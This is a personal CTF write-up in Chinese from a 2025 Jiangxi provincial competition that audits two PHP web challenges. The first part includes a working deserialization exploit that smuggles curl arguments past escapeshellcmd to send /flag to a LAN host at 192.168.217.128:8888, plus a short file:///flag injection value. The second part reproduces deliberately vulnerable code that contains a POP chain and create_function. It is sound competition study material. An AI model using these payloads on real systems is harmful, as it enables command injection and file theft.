2025江西信息技术省赛决赛

前言

还是太弱了,最后看提示才防住了一道题,队友很早的时候就看到了一个原题,直接猛拿巨多分,还好混了个二等奖。

这里没有java题,主要是积累一下代码审计的能力

信息

目录结构是这样的

image-20251116153347741

直接用Seay扫的话能在class.php扫到一个命令执行,但是这个命令执行的cmd明显是不能由我们自己定义的,看起来像一个ssrf。这里可以留一个心眼。

我发现真的是ai用多了脑子会用坏,这里明显可以命令注入,只要加一个分隔符就好

image-20251116153553742

我们首先要了解这个项目是用来干什么的。

image-20251116154012499

首先login.php这里有一个sql的功能点,当初我还在这里上了waf,但是没有鸟用。

仔细看了代码以为可以用万能钥匙绕过,但是本地跑不通。后面说是直接给了账号和密码,这里可能是出题有问题。

所以我们直接走到admin.php和class.php

image-20251116191444283

image-20251116191521631

可以看到进admin.php的时候首先会判断session admin是否为1,然后再反序列化cookie的user值。所以重点就是前面提到的命令注入了。

这里因为escapeshellcmd的存在,不能像普通分号那样直接分割命令

否则会变成这样

image-20251116195720302

我们构造一下payload,这里主要是要清楚curl命令的格式,然后弹出来。比赛期间都是同一局域网,也是可以弹的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class user {
    public $username;
    public $age;
    public $introdution;
    public $blog;
    public $is_admin;

    public function __construct() {
        $this->username = 'ctfer';
        $this->age = 18;
        $this->introdution = 'I am a ctfer';
        $this->blog = 'www.ctfer.com';
        $this->is_admin = false;

    }

    public function update() {
        $this->username = $_GET['username'];
        $this->age = $_GET['age'];
        $this->introdution = $_GET['introdution'];
        $this->blog = $_GET['blog'];
    }
    


    public function __destruct() {
        if ($this->is_admin) {
            echo "This is your blog ,dear admin!</br>";
            $cmd = "curl ";
            $cmd =  $cmd.escapeshellcmd(escapeshellarg("http://".$this->blog));
            system($cmd);
        }
    }

    public function __wakeup()

    {
        // 反序列化后默认无操作
    }
}

$user = new user();
$user->is_admin = true;
$user->blog = "127.0.0.1/' -F file=@/flag -x 192.168.217.128:8888 -A a=1 '";
//echo serialize($user);
echo base64_encode(serialize($user));

image-20251116201246269

然后上了这道题到娱乐赛里,结果被师兄秒了,师兄打了一个

1
"' file:///flag '"

给我看傻了

服务

项目结构为

image-20251120192737900

index.php是一个纯前端,页面时企业上传文件页面,uploadforms.php也是一个纯前端页面,用于上传文件

用小皮启一下这个网站,简单使用过后发现,上传的文件会被改变文件名,然后又查看文件,删除文件的功能

既然是文件上传,我们先看看upload.php的逻辑

image-20251120193809862

没啥特别的,就是有一个黑名单,phhtusergz不允许上传,

然后看看view_file.php,也没啥特别的,也防止了file直接读取flag。就是创建了一个file的对象,这里包含了的是class.php,所以这个类应该是在class.php

image-20251120195932888

然后我们再看到delete_file.php的逻辑,也是创建了file的对象。重点看来就是class.php了

image-20251120200533866

class.php发现是一个类似pop链的东西,这里我们先审计一下file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php

class bc0n{
    public $code;
    public $name;
    public $about = false;


    public function __get($a){
        if ($this->about){
            create_function("",$this->code);
        }
    }

    public function check() {
        $s1 = $this->name;
        $s1();
    }

}


class rn0g{
    public $echofi;
    public function __toString() {
        $this->echofi->come;
    }
}


class qw4e{
    private $nonono;

    public function __construct($cookie){
        $this->nonono = $cookie;
    }

    public function __destruct() {
        if (is_object($this->nonono) && method_exists($this->nonono,'check') )
            $this->nonono->check();
    }

}

class y3ui{
    public $ability;
    private $display;

    public function check(){
        if (preg_match("/va|file|pa|sys|exec|cat/i",$this->ability)){
            echo "hack!!!";
        }
    }

    public  function __call($a,$b){
        $this->display->come();
    }

}



class file{
    public $fileName;
    public function __construct($file){
        $this->fileName = $file;

    }

    public function delfile(){
        if (file_exists($this->fileName)) {
            if (unlink($this->fileName)) {
                echo "文件 $this->fileName 已成功删除。";
            } else {
                echo "无法删除文件 $this->fileName";
            }
        } else {
            echo "文件 $this->fileName 不存在。";
        }
    }

    public function viewfile(){
        if (file_exists($this->fileName)) {
            $fileContent = file_get_contents($this->fileName);

            // 显示文件内容
            $base64Image = base64_encode($fileContent);
            $imageType = pathinfo($fileContent, PATHINFO_EXTENSION);
            $dataUri = 'data:image/' . $imageType . ';base64,' . $base64Image;
            return $dataUri;
        } else {
            echo "文件不存在。";
        }
    }

}

file类的逻辑很好理解一个展示的view,还有一个删除的del

额,看半天找不到漏洞在哪了,想起来最后是比赛方给出了flag的文件名,然后可以直接通过那个读取读到flag。

问题出现在,为什么fix是这样的,和这个gif到底有啥关系

image-20251120211039849

别人也不知道,行。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计